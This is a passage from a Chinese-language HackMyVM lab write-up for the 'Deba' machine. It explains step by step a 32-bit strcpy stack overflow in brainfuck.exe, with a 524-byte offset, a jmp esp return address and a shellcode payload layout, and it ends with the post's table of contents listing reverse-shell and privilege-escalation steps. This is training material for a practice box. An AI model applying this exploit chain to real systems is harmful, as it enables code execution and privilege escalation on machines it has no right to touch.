这句话信息量巨大，我们翻译成“人话”。

`[ebp-208h]` 是什么意思？

EBP：当前函数的“参考点”
Dest：在 EBP 下面 0x208 字节的位置

也就是说：

1
EBP
2
│
3
├── 返回地址
4
├── 旧 EBP
5
├── ...
6
├── Dest[???]   ← 你的数据从这里开始写

👉 Dest 在栈上

第三步：`strcpy` 干了什么“坏事”？

1
strcpy(&Dest, Source);

strcpy 的规则只有一条：

我不管你 Dest 多大，我一直复制，直到 Source 遇到 \0

所以当你输入很长时，内存会变成这样：

1
[ Dest buffer        ]  ← aaaaaaaa
2
[ 覆盖的其他局部变量 ]  ← aaaaaaaa
3
[ 覆盖的旧 EBP       ]  ← aaaaaaaa
4
[ 覆盖的返回地址 RET ]  ← 0x311712f3
5
[ 后续数据           ]  ← shellcode

⚠️ 注意：shellcode 就在返回地址后面

第四步：函数“返回”的瞬间发生了什么？

函数结束时，会执行：

1
ret

ret 做的事情只有一件：

从 ESP 指向的位置取 4 字节 → 放进 EIP

那这时 ESP 指向哪？

这是重点👇

在 ret 之前，栈长这样：

1
ESP → [ 返回地址（被你覆盖） ]
2
       [ shellcode 字节 1 ]
3
       [ shellcode 字节 2 ]
4
       [ shellcode 字节 3 ]
5
       ...

当 ret 执行：

CPU 从 [ESP] 取地址 → EIP
ESP 自动 +4

于是变成：

1
ESP → [ shellcode 的起始位置 ]

💥 这就是关键结论

第五步：所以为什么 `ESP 一定指向你的数据`？

现在我们可以严谨地说了：

因为：

你的输入被 strcpy 写进了栈
返回地址后面紧跟着的就是你输入的内容
ret 会让 ESP 指向 返回地址后 4 字节
那里正是你的 shellcode

✅ 所以：

在 ret 之后，ESP 指向的，就是你刚刚写进去的数据

第六步：这就是为什么 `jmp esp` 是“完美跳板”

你现在应该能真正理解这句话了：

1
jmp esp

人话翻译：

“不管你 shellcode 在哪，我就跳到 ESP 指向的地方”

而 ESP 指向哪里？

指向你写在栈上的 payload

用一句完整链总结（非常重要）

strcpy 溢出 → 覆盖返回地址 → ret 后 ESP 指向 shellcode → 返回地址设为 jmp esp → EIP 跳到 ESP → 执行你的代码

这就是你整个 EXP 的数学证明级解释。

总结

✔ 524 字节是为了覆盖到返回地址
✔ **返回地址被我们控制成 ****jmp esp**
✔ 最终会执行 shellcode

① 覆盖栈帧（为什么是 524）

在 get_reply 中：

1
char Dest; // [ebp-0x208]

栈结构是：

1
[ Dest buffer  ] 0x208 = 520 bytes
2
[ saved EBP    ] 4 bytes
3
[ RET address  ] 4 bytes

👉 到返回地址的偏移：

1
520 + 4 = 524

所以：

1
junk = b"A" * 524

这一句的本质是：

把返回地址“踩掉”

② ret 做的事情（这一点你要永远记住）

函数结束时执行：

1
leave
2
ret

ret 的真实行为：

1
EIP = [ESP]
2
ESP = ESP + 4

所以当你把返回地址写成：

1
ret_addr = p32(0x311712f3)  # jmp esp

执行 ret 后：

EIP = jmp esp
ESP自动指向返回地址后面的内容

③ 为什么 shellcode 一定要放在 ret 后面？

你的 payload 是：

1
[ A * 524 ][ jmp esp ][ shellcode ]

执行 ret 后：

1
ESP → shellcode
2
EIP → jmp esp

然后 CPU 执行：

1
jmp esp

含义是：

跳到 ESP 当前指向的位置

而 ESP 正好指向 shellcode

④ 所以完整链路是（这是终极版本）

strcpy 溢出 ↓ 覆盖返回地址 ↓ ret → EIP = jmp esp ↓ ESP 自动指向 shellcode ↓ jmp esp → 跳到 shellcode ↓ shellcode 执行

因为在 32 位程序里，一个地址 = 4 个字节，而 **ret** 就是从栈里“弹出一个地址”。

**弹出一个地址 = 4 字节
**所以：ESP = ESP + 4

为什么“一个地址是 4 字节”？

你现在分析的是：

1
PE32 executable
2
Intel 80386
3
i386

也就是 32 位程序

在 32 位 CPU 中：

寄存器宽度：32 bit
32 bit = 4 byte

所以：

东西	大小
int	4 字节
指针	4 字节
返回地址	4 字节
EIP	4 字节

👉 返回地址本身就是一个“指针”

ret 本质上是在“弹栈”

你要把 ret 当成一句 伪代码：

1
EIP = *(uint32_t *)ESP;
2
ESP += 4;

翻译成人话就是：

从 ESP 指向的地方，取 4 字节
当成下一条要执行的地址（给 EIP）
ESP 往上挪 4 字节（栈顶弹出）

用真实栈内存给你画一遍（关键）

假设当前 ESP = `0xffffd200`

内存里是这样：

1
地址        内容
2
--------------------------------
3
0xffffd200  f3 12 17 31   ← 返回地址（jmp esp）
4
0xffffd204  31 c0 50 68   ← shellcode 第 1 条
5
0xffffd208  2f 2f 73 68

执行 `ret` 时：

第一步：

1
EIP = *(0xffffd200)
2
EIP = 0x311712f3

第二步：

1
ESP = ESP + 4
2
ESP = 0xffffd204

📌 注意：

1
ESP 现在 = shellcode 的起始地址

这就是为什么 shellcode 会“紧挨着 ESP”

不是因为 shellcode 特殊，而是：

ret 只弹出返回地址
返回地址占 4 字节
ESP 必须跳过它
所以后面的数据自然就成了 ESP 指向的内容

👉 这是 CPU 的铁律，不是技巧

类比一个“你肯定懂”的东西（很重要）

把栈想成一摞盘子：

1
最上面
2
┌──────────────┐
3
│ 返回地址     │  ← 1 个盘子（4 字节）
4
├──────────────┤
5
│ shellcode    │
6
│ shellcode    │
7
└──────────────┘

ret = 拿走最上面一个盘子

拿走返回地址
手自然就放到下面那一层

👉 ESP 就是“你的手”

你现在应该能自己回答这个问题了

为什么 ESP = ESP + 4？

因为：

栈里存的是 32 位返回地址
32 位 = 4 字节
ret 要把这个地址“弹掉”
所以 ESP 必须前进 4 字节

Thanks for reading!

HMV-Deba

Mon Jan 12 2026

2716 words · 10 minutes

Documentation Hackmyvm Hackmyvm Linux Machine Enumeration Privilege Escalation Exploit Development Deserialization Reverse Engineering XSS

HMV-Deba

信息收集

IP定位

Nmap扫描

目录扫描

/server.js

漏洞理解

核心

关键点

漏洞利用

反弹shell

升级tty

python库劫持提权-low

用 cat > 覆盖 main.py 内容

触发目标脚本执行（以 low 身份）

计时任务提权-debain

提权-root

升级tty

sudo -l

① brainfuck.exe 是什么？

② wine 在 sudo 下是 root

③ 缓冲区溢出意味着什么？

④ 任意代码在谁的权限下执行？

brainfuck.exe

pwn环境搭建

栈溢出漏洞

一、从反编译代码开始（这是唯一正确的起点）

二、Dest 到底有多大？（这是 offset 的数学来源）

关键计算（这是整个 exp 的“根”）：

三、为什么 strcpy 一定能覆盖到 RET？

四、ret_addr 是怎么“合法”找出来的？

1️⃣ ropper 搜索

2️⃣ objdump 再确认一次

五、为什么 payload 结构必须是这样？

① junk = 'a' * 524

② ret_addr = 0x311712f3

③ jmp esp 跳到哪里？

Exp

补充知识

1️⃣ 寄存器 = CPU 自己口袋里的变量

2️⃣ 最重要的一个寄存器：EIP

第三层：什么是栈？（不讲内存模型）

1️⃣ 栈是“函数用的草稿纸”

2️⃣ ESP 和 EBP 是干嘛的？

第四层：函数返回发生了什么？（超级关键）

ret 干了什么？

第五层：什么是“栈溢出”？

那 jmp esp 是干嘛的？

为什么ESP一定指向你的数据

第一步：你的数据是“怎么进程序的”？

第二步：Dest 在哪里？（这是关键）

[ebp-208h] 是什么意思？

第三步：strcpy 干了什么“坏事”？

第四步：函数“返回”的瞬间发生了什么？

那这时 ESP 指向哪？

第五步：所以为什么 ESP 一定指向你的数据？

因为：

第六步：这就是为什么 jmp esp 是“完美跳板”

用一句完整 链总结（非常重要）

总结

① 覆盖栈帧（为什么是 524）

② ret 做的事情（这一点你要永远记住）

ret 的真实行为：

③ 为什么 shellcode 一定要放在 ret 后面？

④ 所以完整链路是（这是终极版本）

为什么“一个地址是 4 字节”？

在 32 位 CPU 中：

ret 本质上是在“弹栈”

用真实栈内存给你画一遍（关键）

假设当前 ESP = 0xffffd200

执行 ret 时：

第一步：

第二步：

这就是为什么 shellcode 会“紧挨着 ESP”

类比一个“你肯定懂”的东西（很重要）

ret = 拿走最上面一个盘子

你现在应该能自己回答这个问题了

HMV-Deba

用 `cat >` 覆盖 `main.py` 内容

触发目标脚本执行（以 `low` 身份）

① `junk = 'a' * 524`

② `ret_addr = 0x311712f3`

③ `jmp esp` 跳到哪里？

`ret` 干了什么？

那 `jmp esp` 是干嘛的？

第二步：`Dest` 在哪里？（这是关键）

`[ebp-208h]` 是什么意思？

第三步：`strcpy` 干了什么“坏事”？

第五步：所以为什么 `ESP 一定指向你的数据`？

第六步：这就是为什么 `jmp esp` 是“完美跳板”

用一句完整链总结（非常重要）

假设当前 ESP = `0xffffd200`

执行 `ret` 时：